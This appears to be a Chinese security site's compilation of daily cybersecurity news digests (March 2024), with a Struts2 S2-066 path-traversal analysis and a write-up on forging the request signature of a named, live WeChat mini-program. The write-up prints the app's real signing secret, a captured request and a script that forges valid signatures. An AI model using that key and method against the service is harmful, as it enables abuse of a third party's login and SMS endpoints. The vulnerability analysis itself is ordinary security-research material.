网络安全日报 2024年03月22日
1、Kimsuky团伙利用Windows帮助文件进行网络攻击
https://www.rapid7.com/blog/post/2024/03/20/the-updated-apt-playbook-tales-from-the-kimsuky-threat-actor-group/ 据研究人员透露,臭名昭著的朝鲜黑客团伙Kimsuky已开始采取新的网络攻击手段。Kimsuky一直偏爱使用钓鱼攻击,有时还会通过长时间的社会工程学手段冒充学者或媒体人与目标建立联系。他们之前的攻击中,受害者会收到加载了恶意软件的问卷。虽然研究人员尚不确定该团伙如何分发其最新的攻击载荷,但它们确信包括有毒的Microsoft编译的HTML帮助(CHM)文件,以及ISO、VH
2、新型网络钓鱼攻击运用Office漏洞部署NetSupport恶意软件
https://perception-point.io/blog/operation-phantomblu-new-and-evasive-method-delivers-netsupport-rat/ 一种新型网络钓鱼活动正在针对美国组织,其目的是部署名为NetSupport RAT的远程访问木马。研究人员正在追踪这一活动,称其为“Operation PhantomBlu”。PhantomBlu行动引入了一种新颖的利用方法,通过利用OLE(对象链接与嵌入)模板操控,巧妙地利用Microsoft Office文档模板来执行恶意代码,同时规避检测,背离了NetSupport RAT的典型传输机
3、黑客积极利用JetBrains TeamCity漏洞传播恶意软件
https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html 根据研究人员的报告,多个威胁行为者正在积极利用JetBrains TeamCity最近曝光的安全漏洞来发动攻击。研究人员报告称,攻击者可以利用CVE-2024-27198进行广泛的恶意活动,包括投放Jasmin勒索软件、部署XMRig加密货币挖矿程序、部署Cobalt Strike信标、部署SparkRAT后门、执行域发现和持久性命令等。攻击者借此安装恶意软件,与指挥控制服务
4、Ivanti漏洞遭大规模攻击活动利用
https://www.varonis.com/blog/increased-threat-activity-targeting-ivanti-vulnerabilities 研究人员报告显示,此次活动主要以两个漏洞为目标:CVE-2023-46805,一种高严重性的验证绕过漏洞,以及CVE-2024-21887,一种关键严重性的命令注入漏洞。黑客通过串联这两个漏洞获得了远程执行任意命令的能力。这些漏洞的详情于2024年1月10日公开披露,并迅速有相应的概念验证(POC)代码作为流行的Metasploit攻击框架的攻击模块发布。首批报告显示,一名黑客自2023年12月起开始利用这些目标,该行
5、新型“Loop DoS”攻击威胁30万系统
https://cispa.de/en/loop-dos 研究人员发现了一种名为“Loop DoS”的新型拒绝服务(DoS)攻击方式,该攻击通过UDP漏洞针对应用层协议,创建无限循环通信,影响约30万主机。与传统的滥用大量流量使系统不堪重负的DoS攻击不同,“Loop DoS”攻击利用了UDP(面向无连接的协议)不验证消息的特性,通过伪造IP地址制造服务器间的无休止通信,导致服务不可用。这种攻击可以影响DNS、NTP、TFTP等常用协议,以及Echo和Chargen这样的传统协议。尽管目前还未发现该漏洞被广泛利用,但此现象展示了网络安全威胁的演变和网络犯罪分子的高级化。系统管理员和IT安全专
6、GitHub 在公共测试版中推出“代码扫描自动修复”
https://www.securityweek.com/github-rolls-out-code-scanning-autofix-in-public-beta/ GitHub 周三宣布推出代码扫描自动修复的公开测试版,这是一项旨在帮助开发人员更快地解决代码漏洞的新功能。代码扫描自动修复最初于 2023 年 11 月宣布,依靠 GitHub 的人工智能代码完成工具 Copilot 和语义代码分析引擎 CodeQL 来识别 JavaScript、Typescript、Java 和 Python 存储库中的漏洞,并为其提供修复建议。
7、FortiClient EMS 严重漏洞被广泛利用
https://securityaffairs.com/160885/uncategorized/fortinet-forticlient-ems-critical-flaw.html 研究人员针对 Fortinet 的 FortiClient 企业管理服务器 (EMS) 软件中的一个严重缺陷发布了 PoC 漏洞,该漏洞已被积极利用。
8、PWN2OWN 温哥华 2024第一天 – 特斯拉被攻破
https://securityaffairs.com/160870/hacking/pwn2own-vancouver-2024-day-1.html 2024 年 Pwn2Own 温哥华黑客大赛第一天,参赛者团队展示了特斯拉黑客技术,参与者在 2024 年 Pwn2Own 温哥华黑客竞赛第一天因展示 19 个独特的零日而获得了 732,000 美元的奖金。专家们成功演示了针对 Tesla 汽车、Linux 和 Windows 操作系统等的漏洞利用。
9、因系统故障,埃塞俄比亚某商业银行可以无”限额“取钱
https://www.wionews.com/business-economy/ethiopia-bank-glitch-allows-customers-to-withdraw-millions-heres-what-happened-701766 埃塞俄比亚最大的商业银行(Commericial Bank of Ethiopia)出现一起技术故障,旗下的 ATM 可以无”限额“取钱。
10、 IDC:2027 年中国网络安全市场规模将超 200 亿美元
https://www.secrss.com/articles/64540 IDC 预测,中国网络安全市场规模从 2022 年的 123.5 亿美元快速增长至 2027 年的 233.2 亿美元,期间年复合增长率为 13.5%,高于全球平均水平。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月21日
1、苏格兰健康局遭网络攻击面临数据泄露风险
https://www.nhsdg.co.uk/cyberattack/ 2024年3月15日,服务于苏格兰西南部地区的NHS Dumfries and Galloway健康局宣布遭受了一次有针对性的持续网络攻击。尽管具体攻击方式未公开,健康局已警告表示有大量患者和员工数据可能已被泄露。目前,该健康局已经启动既定应对协议,正在与多个合作机构紧密合作,包括Police Scotland、国家网络安全中心(NCSC)和苏格兰政府,旨在控制攻击、调查数据泄露范围并减轻潜在损害。该网络攻击可能导致NHS Dumfries and Galloway的服务中断,潜在影响包括病患预约、在线服务的访问或内部
2、黑客利用假谷歌站点传播AZORult木马病毒
https://www.netskope.com/blog/from-delivery-to-execution-an-evasive-azorult-campaign-smuggled-through-google-sites 近期,研究人员发现了一种新的恶意软件活动,攻击者通过制作伪造的谷歌站点页面,并采用HTML走私技术,传播一种名为AZORult的商业恶意软件以窃取信息。研究人员发布的报告中指出,这种钓鱼活动尚未归咎于特定的威胁行为者或团伙,但已广泛展开,目的是收集敏感数据并在黑市论坛出售。AZORult是一种信息窃取软件,最初于2016年被检测到。它通常通过钓鱼和垃圾邮件活动、为盗
3、DEEP#GOSU新恶意软件攻击活动针对Windows系统
https://www.securonix.com/blog/securonix-threat-research-security-advisory-new-deepgosu-attack-campaign/ 研究人员近日发现一场名为DEEP#GOSU的新型攻击活动,利用PowerShell和VBScript恶意软件攻击Windows系统,并窃取敏感信息。研究人员通过技术分析指出,该恶意软件运用高级技术,能够在Windows系统中悄无声息地执行操作,尤其在网络监控方面。DEEP#GOSU被认为与朝鲜支持的黑客组织Kimsuky相关。该恶意软件的功能包括记录键盘操作、监控剪贴板内容、执行动态有
4、Atlassian修复了Bamboo等产品中的严重漏洞
https://securityaffairs.com/160838/security/atlassian-fixed-critical-flaw-cve-2024-1597.html Atlassian 修复了 Bamboo、Bitbucket、Confluence 和 Jira 产品中的数十个漏洞,其中包括一个可能非常危险的严重缺陷。
5、Chrome 123、Firefox 124发布,修复严重漏洞
https://www.securityweek.com/chrome-123-firefox-124-patch-serious-vulnerabilities/ 谷歌和 Mozilla 周二宣布了网络浏览器安全更新,解决了数十个漏洞,其中包括一个严重漏洞和多个高严重漏洞。
6、Microsoft 宣布在 Windows 中弃用 1024 位 RSA 密钥
https://www.bleepingcomputer.com/news/microsoft/microsoft-announces-deprecation-of-1024-bit-rsa-keys-in-windows Microsoft 宣布,Windows 传输层安全 (TLS) 中将很快弃用短于 2048 位的 RSA 密钥,以提供更高的安全性。1024 位 RSA 密钥的强度约为 80 位,而 2048 位密钥的强度约为 112 位,这使得后者的分解时间长了 40 亿倍。该领域的专家认为 2048 位密钥 至少在 2030 年之前都是安全的。
7、LockBit 试图通过新版本维持生存
https://www.trendmicro.com/en_us/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version.html 最近,研究人员获得了一个样本,据信该样本代表了 LockBit 的新演变:与平台无关的恶意软件正在测试的开发版本,与以前的版本不同。
8、TeamCity漏洞导致勒索软件、恶意挖矿和 RAT 攻击激增
https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html 多个威胁行为者正在利用 JetBrains TeamCity 软件中最近披露的安全漏洞来部署勒索软件、加密货币挖矿程序、Cobalt Strike 信标以及基于 Golang 的名为 Spark RAT 的远程访问木马。
9、微软报告,英国87%的组织容易受到网络攻击
https://cybernews.com/security/uk-organizations-ai-attacks/ 报告显示,39%的组织没有将网络威胁告知其领导层,没有业务连续性计划,没有专门的网络安全预算,且缺乏对技术升级的投资。
10、超过133K台 Fortinet 设备仍然易受CVE-2024-21762影响
https://www.theregister.com/2024/03/18/more_than_133000_fortinet_appliances 尽管补丁逐渐增加,但暴露在公共互联网上且易受 FortiOS 一个月前严重安全漏洞影响的 Fortinet 数量仍然非常高。根据安全非营利组织 Shadowserver 的最新数据,易受 CVE-2024-21762 影响的 Fortinet 设备数量超过 133,000 台,仅比十天前的 150,000 多台略有下降。暴露数量最多的是亚洲,有 54,310 台设备仍然容易受到严重 RCE 漏洞的影响。北美和欧洲分别以 34,945 和 28
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
小程序绕过 sign 签名
之前看到了一篇文章【小程序绕过sign签名思路】之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程。
并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。
小程序 父母邦亲子旅行酒店营地乐园活动。
在登录时验证码登录的数据包
POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}
我们直接修改手机号,重放数据包。
提示签名失败。
打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet
将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码。
对小程序进行反编译
因为有一些依赖于 wx 所以只能提供思路
我们看到 sign 的创建流程
所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦。
初期思路是这样子的
但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。
柳暗花明
我们加入调试
发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。
利用微信开发者工具进行模拟操作。
加入断点
继续步入
可以添加字段 查看对应的值。
继续步入
该函数首先创建一个空数组 e ,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是:
scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e
返回值为 64d78d749828368851331593fa1e1ceb
就是对应字符串生成的 md5 的值。
我们修改一下数据包
发送成功。
修改手机号的数据包
将手机号修改后 提示签名失败。
phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066c
phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912
所以我们把代码稍微修改一下
"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);
成功破解了 sign 签名,可以发送任意数据包。
S2-066漏洞分析与复现(CVE-2023-50164)
Foreword
自struts2官方纰漏S2-066漏洞已经有一段时间,期间断断续续地写,直到最近才完成。羞愧地回顾一下官方通告:
2023.12.9发布,编号CVE-2023-50164,主要影响版本是 2.5.0-2.5.32 以及 6.0.0-6.3.0,描述中提到了文件上传漏洞和目录穿越漏洞。开始以为这是个组合漏洞,其实不是,这是一个漏洞,看了几篇大佬的文章,有的把它称为“文件上传目录穿越漏洞”,也有道理。
Prepare
准备工作就是搭建项目,用Tomcat跑,调试好断点,回顾下struts2的结构。篇幅有限,这里只贴一张struts2自身的配置文件:
struts2有众多的Filter和Intercepter,它的配置逻辑是,除文件中定义的class、package以外,其余全部拦截。对于S2-066,处理一个请求要经过的几个关键类包括Dispatcher、Interceptor、HttpParameters以及UploadAction。使用下面的poc:
Dispatcher
请求首先会进入著名的Dispatcher。multi参数对应的就是body数据,包含upload、fileName、contentType三个变量,无误:
request中还有一个参数,uploadFileName=../../z127.txt,这个是污染参数,文件上传的目的地,也是利用这个漏洞的目标。
走到这里Dispatcher只是简单处理一下请求然后交给Interceptor,无异常。
FileUploadInterceptor
拦截器先是把request包装了一下,类型是MultiPartRequestWrapper。
这里与Dispatcher一样,请求参数还是multi和request两部分,也无异常。
并且遍历只有一次 ,因为真正的body只有一个,就是那个multi。
在遍历过程中struts2还出现了硬编码现象,要求文件名参数必须以FileName结尾,且拼接完成的文件名前缀就是body中的{upload}名称,这就给exp带来了一定限制:
此外,注意这里的279行:
// get the name of the file from the input tag
String[] fileName = multiWrapper.getFileNames(inputName);
使用的是MultiPartRequest接口的方法,而这个接口在S2-066中是由JakartaMultiPartRequest实现。使用下面这个poc进行目录穿越并断点检测一下:
发现目录穿越失败,文件没有放在指定目录下。分析源码:
参数覆盖原本想用../../z126.txt,方法的输入参数确实也是这样接收的,但在这个方法中struts2会对文件名进行截断,最终输出的文件名会变为 z126.txt,文件也就不会出现目录穿越的现象。因此目录穿越不是发生在这里,让struts2自己背这个锅多少有点冤。body中的数据组装完毕是下面这样,size等于3,依旧无误:
HttpParameters
来到HttpParameters查看接收的参数,还是upload、contentType、fileName三个:
但是参数接收完后就不正常了,除了原本的UploadFileName(注意首字母是大写),还多了一个uploadFileName(注意首字母是小写),size也变成了4。这就是Struts2官方所解释的大小写敏感,即对大写的Upload和小写的upload分别做处理。从这里开始,S2-066才露出真正面目:
HttpParameters实现了Map接口,所以本质上它还是一个map,这也是组装参数最常用的方式。但不管是HashMap还是TreeMap,自己不会出现覆盖的问题。用一个小实验证明:
走到这里,HttpParameters对参数的处理开始出现异常,但依然没有发生覆盖。
UploadAction
终于到Action了。引用一段struts2官方的描述:
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.
通过操控上传参数,黑客能够出发目录穿越漏洞,这样一来,在某些情况下可以上传恶意文件,从而进行RCE。换种说法,S2-066是框架自身、软件工程师、Java反射机制共同作用的结果。走到这里,为了简化代码,UploadAction即是Action又是Entity。而在Entity的实例化过程中,必然是通过setXX属性来赋值。所以就有了setUploadFileName(注意首字母大写)和setuploadFileName(注意首字母小写)的需求 。而在Entity的setter与getter中,这两种需求都会被当做一种,即setUploadFileName,因此覆盖也就发生了。正常情况下实例化方
而setUploadFileName第一遍是z106.txt:
第二遍是../../z127.txt:
实例化完成后,uploadFileName属性已被覆盖:
查看物理路径,上传成功:
POCs
参数不是filename结尾,失败:
参数不符合FileName大小写要求,失败:
大写覆盖小写失败:
大写覆盖大写失败:
小写覆盖小写失败:
小写覆盖大写成功,文章开头所用。另外覆盖也可以放在body中:
验证:
利用条件多少有点苛刻,但杀伤力不输struts2过去那一堆,CVSS3.0评分9.8,CRITICAL。
网络安全日报 2024年03月20日
1、新型AcidPour恶意软件瞄准乌克兰Linux系统
https://www.hackread.com/acidrain-linux-malware-variant-acidpour-ukraine/ 研究人员近日发现了一种针对乌克兰Linux系统的恶意软件新变种,命名为“AcidPour”。这种恶意软件是已知AcidRain恶意软件的进化版本,去年三月首次出现并在俄罗斯入侵乌克兰之初于Viasat hack事件中破坏了大量KA-SAT Surfbeam2调制解调器。AcidPour与原始的AcidRain在某些代码字符串上有相似之处,但在代码库上有显著不同,这个新的变种是专门为Linux x86设备编译的,而不是MIPS体系结构。研究人员指出
2、WordPress插件miniOrange漏洞会导致网站被接管
https://www.wordfence.com/blog/2024/03/critical-vulnerability-remains-unpatched-in-two-permanently-closed-miniorange-wordpress-plugins-1250-bounty-awarded/ 研究人员近日发现WordPress插件miniOrange的恶意软件扫描器和Web应用防火墙中存在一个关键漏洞,该漏洞可能允许未经授权的攻击者接管网站。自2024年3月1日,Wordfence作为公司Bug赏金倡议Extravaganza的一部分,接到了关于miniOrange恶意软件
3、关键FileCatalyst远程执行漏洞PoC利用代码发布
https://www.fortra.com/security/advisory/fi-2024-002 Fortra修复了其FileCatalyst文件传输产品中一个关键的远程代码执行漏洞。Fortra发布了更新来解决这个影响其FileCatalyst文件传输解决方案的关键漏洞,该漏洞被追踪为CVE-2024-25153(CVSS评分9.8)。远程未经授权的攻击者可以利用这个漏洞在受影响的服务器上执行任意代码。安全建议说明:"FileCatalyst Workflow Web Portal的'ftpservlet'中的目录遍历允许通过特殊构造的POST请求将文件上传到意图之外的'uploa
4、TMChecker工具可降低攻击者恶意活动门槛
https://www.resecurity.com/blog/article/cybercriminals-evolve-tooling-for-remote-access-compromise 研究人员警告称,新的名为TMChecker的工具集在暗网上作为攻击武器获得关注,旨在针对远程访问服务和流行的电子商务平台。该工具由化名为"M762"的威胁行为者开发,并在XSS网络犯罪论坛上售价每月200美元,根据研究人员的报告,它可用于针对企业VPN网关、电子邮件服务器、内容管理系统和主机控制面板。TMChecker帮助威胁行为者侵入企业网络,获取未经授权的访问敏感数据的机会。微软去年观察到,自
5、新型GPU缓存侧信道攻击影响多种流行的浏览器和显卡
https://www.securityweek.com/new-attack-shows-risks-of-browsers-giving-websites-access-to-gpu/ 来自奥地利格拉茨科技大学和法国雷恩大学的研究人员团队展示了一种新的图形处理单元 (GPU) 攻击,该攻击会影响多种流行的浏览器和显卡。
6、配置错误的 Firebase 实例暴露了1.25 亿条用户记录
https://www.securityweek.com/misconfigured-firebase-instances-expose-125-million-user-records/ 安全研究人员警告称,数百个网站错误配置了 Google Firebase,泄露了超过 1.25 亿条用户记录,其中包括明文密码。
7、从Deepfakes到恶意软件,AI在网络攻击中的作用不断扩大
https://thehackernews.com/2024/03/from-deepfakes-to-malware-ais-expanding.html 如今,支持人工智能 (AI) 工具的大型语言模型 (LLM) 可用于开发能够绕过 YARA 规则的自我增强恶意软件。
8、乌克兰网络警察逮捕了出售 1 亿个被盗账户的黑客
https://securityaffairs.com/160748/cyber-crime/ukraine-cyber-police-account-hacking.html 乌克兰网络警察与国家警察一起逮捕了三名试图出售 1 亿封受损电子邮件和 Instagram 帐户的黑客。他们涉嫌黑客入侵全球 1 亿多个电子邮件和 Instagram 帐户并将其出售。
9、谷歌2023年发放7100万元漏洞赏金,近年累计支出超4亿元
https://www.secrss.com/articles/64456 在2023年内,谷歌向来自68个国家的632名研究人员支付了1000万美元(约合人民币7196万元),以表彰他们在发现并负责地报告旗下产品和服务的安全漏洞。
10、麦当劳 IT 系统中断,波及全球餐厅
https://www.bleepingcomputer.com/news/technology/mcdonalds-it-systems-outage-impacts-restaurants-worldwide/ 由于系统中断,导致麦当劳员工无法接受订单和接受付款,包括美国、日本、澳大利亚、加拿大、荷兰、意大利、新西兰和英国等多国的麦当劳门店于当日停止营业。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月19日
1、APT28针对多地区开展广泛网络钓鱼攻击
https://securityintelligence.com/x-force/itg05-leverages-malware-arsenal/ 根据研究人员发布的最新报告,与俄罗斯有关联的网络威胁行为者APT28,被发现正在进行多起精心策划的网络钓鱼攻击。这次攻击针对的是欧洲、南高加索地区、中亚以及北美和南美的政府及非政府组织(NGOs)。APT28利用看似官方的诱饵文档进行欺骗,这些文档既包括内部文件也包括公开可获得的文档,涵盖了金融、重要基础设施、行政会议、网络安全、海洋安全、卫生保健、商务和国防产业等多个领域。研究人员观察到的最新活动是在2023年11月末至2024年2月间,APT
2、朝鲜APT组织利用Tornado Cash洗钱2300万美元
https://www.elliptic.co/blog/north-korean-hackers-return-to-tornado-cash-despite-sanctions 据研究人员报道,与朝鲜有关的网络黑客组织Lazarus再次恢复使用加密货币混合器平台Tornado Cash洗钱2300万美元。2023年11月发生的HTX交易所1125万美元的盗窃案被追踪到Lazarus APT组织,如今,Elliptic通报称Lazarus组织通过Tornado Cash清洗了来自该次攻击的逾2300万美元资金。2022年8月,美国财政部外国资产控制办公室(OFAC)因北朝鲜相关的Lazar
3、英国国防大臣专机在波兰遭电子战攻击
https://www.thesun.co.uk/news/26691317/russia-putin-grant-shapps-plane-hacked-gps-communications-ww3/ 英国国防大臣格兰特·沙普斯的RAF Dassault Falcon 900喷气式飞机最近在飞往英国途中,据称遭到了俄罗斯黑客发起的电子战攻击,导致飞机的全球定位系统(GPS)和通信设备短暂失效。沙普斯此行前往波兰访问英国在"坚定捍卫者"军事演习中的军队,并确认了英国对乌克兰的全力支持。《太阳报》的国防编辑在起飞时搭乘了RAF Dassault Falcon 900喷气式飞机,并报告说飞机在靠
4、新声学攻击可凭打字模式识别键盘输入
https://arxiv.org/pdf/2403.08740.pdf 最新研究展示了一种新型声学旁道攻击方法,即使在噪音环境下,也能根据键盘打字模式推断用户输入。该方法的平均成功率虽然只有43%,低于过去提出的其他方法,但它不需要受控的录音条件或特定的打字平台。这一技术更适用于现实攻击,在特定的目标相关参数下,通过收集后的分析产生足够可靠的数据,以解密目标的整体输入。美国奥古斯塔大学的研究人员公布了他们独特的声学旁道方法的技术细节。这种攻击利用通过专用软件捕捉的不同按键的特有声音排放和用户的打字模式来收集数据集。收集目标的一些打字样本至关重要,以便将特定的按键和单词与声波联系起来。虽然论
5、AT&T否认泄露的7000万用户数据来自其系统
https://www.bleepingcomputer.com/news/security/att-says-leaked-data-of-70-million-people-is-not-from-its-systems/ AT&T公司近日表示,在一家网络犯罪论坛上被黑客泄露并宣称来自2021年对公司系统的攻击的大量数据,并非来自其系统。该数据涉及7100万人。这些数据涉及到声称是2021年攻击AT&T数据泄露案的一部分,由一个名为ShinyHunters的威胁行为者尝试在数据盗窃论坛上以20万美元的起始价格和3万美元的增量报价出售。该黑客表示他们愿意立即以100万美元出售。如今,另一名
6、富士通遭受恶意软件攻击并发生数据泄露
https://securityaffairs.com/160682/hacking/fujitsu-suffered-cyberattack.html 日本科技巨头富士通周五宣布遭遇恶意软件攻击,威胁行为者可能窃取了个人和客户信息。该公司透露,多台工作计算机感染了恶意软件,为了应对这一威胁,安全人员将受影响的系统与网络断开。该公司对此事件展开调查,发现威胁行为者可能泄露了包含个人和客户信息的文件。
7、航空航天部门面临猛增的网络安全威胁
https://securityaffairs.com/160664/uncategorized/aviation-and-aerospace-sectors-cyber-threats.html 随着全球地缘政治紧张局势加剧,民航业和航空航天领域遭受破坏性网络攻击的风险加大。Resecurity 详细介绍了针对这些部门的威胁行为者最近的显着活动。Lockbit 3.0是针对这些行业的最活跃的勒索软件组织之一,已对多家知名公司发起了攻击。它于 2021 年 9 月攻击泰国主要航空公司曼谷航空,于 2021 年 10 月攻击以色列航空航天和国防公司 EMIT Aviation Consulti
8、恶意广告提供虚假Notepad++和VNote安装包针对中国用户
https://thehackernews.com/2024/03/malicious-ads-targeting-chinese-users.html 在百度等搜索引擎上寻找 Notepad++ 和 VNote 等合法软件的中国用户正成为恶意广告和虚假链接的目标,这些链接会分发该软件的木马版本,并最终部署Geacon(一种基于 Golang 的 Cobalt Strike 实现)。
9、TikTok 因“安全问题”被美国发布禁令
https://www.darkreading.com/cyber-risk/tiktok-ban-raises-data-security-control-questions 继众议院能源与商务委员会上周通过禁用流行社交媒体平台 TikTok 的法案后,美国国会投票赞成该法案,该法案规定,任何受“外国”控股的企业需在 180 天内撤资。
10、LockBit 一重要成员被加拿大法院判处 4 年监禁
https://www.ithome.com/0/755/716.htm 据加拿大媒体 CTV News 报道,黑客组织 LockBit 重要成员米哈伊尔・瓦西里耶夫(Mikhail Vasiliev)被加拿大安大略省法院判处 4 年监禁。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月18日
1、印度Android用户钓鱼诈骗活动日趋猖獗
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-phishing-scam-using-malware-as-a-service-on-the-rise-in-india/ 研究人员报告,自2023年3月起至今,印度Android用户成为了钓鱼诈骗软件活动的目标。这种恶意软件已经发展成一个服务形式,涵盖了800多个应用程序,并感染了超过3700台设备。钓鱼页面设计用于易于欺骗的场景,比如电费付款、预约医院和快递预定等。这些页面会在不同应用程序中加载,最后出售给诈骗者。诈骗者通常通过电话、短信、电子邮件或社交应用程序联系
2、RedCurl团伙利用Windows PCA工具进行企业间谍活动
https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html 俄语网络犯罪组织RedCurl正在利用一个名为程序兼容性助手(PCA)的合法微软Windows组件执行恶意命令。研究人员分析中指出,该服务(pcalua.exe)原本设计用来识别和解决与旧程序的兼容问题,但敌对方可以利用这个工具作为命令行解释器的替代,以此执行命令并绕过安全限制。RedCurl组织自2018年起活跃,以企业间谍活动面向位于澳大利亚、加拿大、德国、
3、关键FortiClient EMS漏洞PoC被出售
https://fortiguard.fortinet.com/psirt/FG-IR-24-007 研究人员最近修复了其FortiClient Endpoint Management Server(EMS)解决方案中的一个SQL注入漏洞(CVE-2023-48788),这似乎引起了许多人的兴趣:研究人员的攻击团队计划下周发布技术细节和概念验证Exploit,而有人正试图通过GitHub以不到300美元的价格出售一个PoC。关于CVE-2023-48788,这是Fortinet最近修补的几个漏洞之一。在星期三,有人在GitHub建立了一个页面,宣传针对CVE-2023-48788的“新Exp
4、思科修复IOS XR软件中的高危提权和拒绝服务漏洞
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-ssh-privesc-eWDMKew3 思科本周修补了其IOS XR软件中的高危权限提升和拒绝服务(DoS)漏洞。思科解决了IOS XR软件中的多个漏洞,其中包括三个高危漏洞,这些漏洞可被用于提升权限和触发拒绝服务(DoS)状态。漏洞CVE-2024-20320是一个思科IOS XR软件SSH权限提升漏洞。该问题存在于思科8000系列路由器和思科网络融合系统(NCS)540和5700系列路由器的Cisco
5、法国政府数据泄露暴露4300万民众信息
https://www.francetravail.fr/candidat/soyez-vigilants/cyberattaque-soyez-vigilants.html 法国政府部门——负责注册和帮助失业人员的France Travail——最近成为一起大规模数据泄露的受害者,这次泄露影响了多达4300万公民的信息。France Travail在周三宣布,已将此次涉及包含20年个人信息的事件通报给该国的数据保护监管机构CNIL。泄露的数据包括姓名、出生日期、社会保障号码、France Travail标识符、电子邮件地址、邮政地址和电话号码,好在密码和银行详情没有受到影响。然而,CNIL
6、DarkGate活动利用微软零日漏洞进行攻击
https://www.trendmicro.com/en_us/research/24/c/cve-2024-21412--darkgate-operators-exploit-microsoft-windows-sma.html 研究人员在2024年1月中旬发现了一个名为DarkGate的攻击活动,该活动利用了Windows零日漏洞CVE-2024-21412。研究人员报告称,APT组织“水木马”(Water Hydra)利用CVE-2024-21412漏洞进行了零日攻击。DarkGate远程访问木马(RAT)使用Borland Delphi编写,并以恶意软件即服务(MaaS)模式存在于
7、新型恶意软件BunnyLoader 3.0窃取凭证及加密货币
https://unit42.paloaltonetworks.com/analysis-of-bunnyloader-malware/ 最近,研究人员揭露了一种名为“BunnyLoader 3.0”的新型恶意软件,此恶意软件专门设计用来窃取用户登录凭证和加密货币,同时能够在操作系统中潜伏不被发现。自2023年9月首次被发现以来,BunnyLoader经过多次升级和增强,以逃避安全检测和提高效能。2024年2月11日,黑客公开了这一恶意软件的最新版本——BunnyLoader 3.0。与前一版本相比,3.0版本在性能上有了90%的显著提升,且有效减少了载荷体积和增强了键盘记录功能,这使得它比
8、SIM交换者在eSIM攻击中可劫持电话号码
https://www.facct.ru/media-center/press-releases/esim-bank-attacks/ SIM换号攻击者已经适应了新的攻击手段,通过将受害者的电话号码端口转移到一张新的eSIM卡(一种存储在许多新型智能手机芯片上的可重写数字SIM卡)来窃取该号码。eSIM(嵌入式用户身份识别模块)是存储在移动设备芯片上的数字卡片,与物理SIM卡承担相同的角色和功能,但可以远程重新编程、配置、停用、更换和删除。用户通常可以通过扫描服务提供商的QR码,将eSIM添加到支持该功能的设备上。随着智能手机制造商越来越青睐eSIM,因为eSIM无需SIM卡插槽,还能在小型
9、国际货币基金组织邮箱账户遭黑客攻击
https://www.bleepingcomputer.com/news/security/international-monetary-fund-email-accounts-hacked-in-cyberattack/ 国际货币基金组织(IMF)在上周五披露了今年早些时候其11个电子邮件账户被未知攻击者入侵的网络安全事件。这一由190个会员国资助的国际金融机构,也是总部位于华盛顿特区的联合国主要金融机构。根据发布的新闻稿,IMF在二月份检测到了这次事件,并正在进行调查以评估攻击的影响。到目前为止,IMF未发现证据表明攻击者获得了进入受损电子邮件账户之外的其他系统或资源的访问权限。IMF
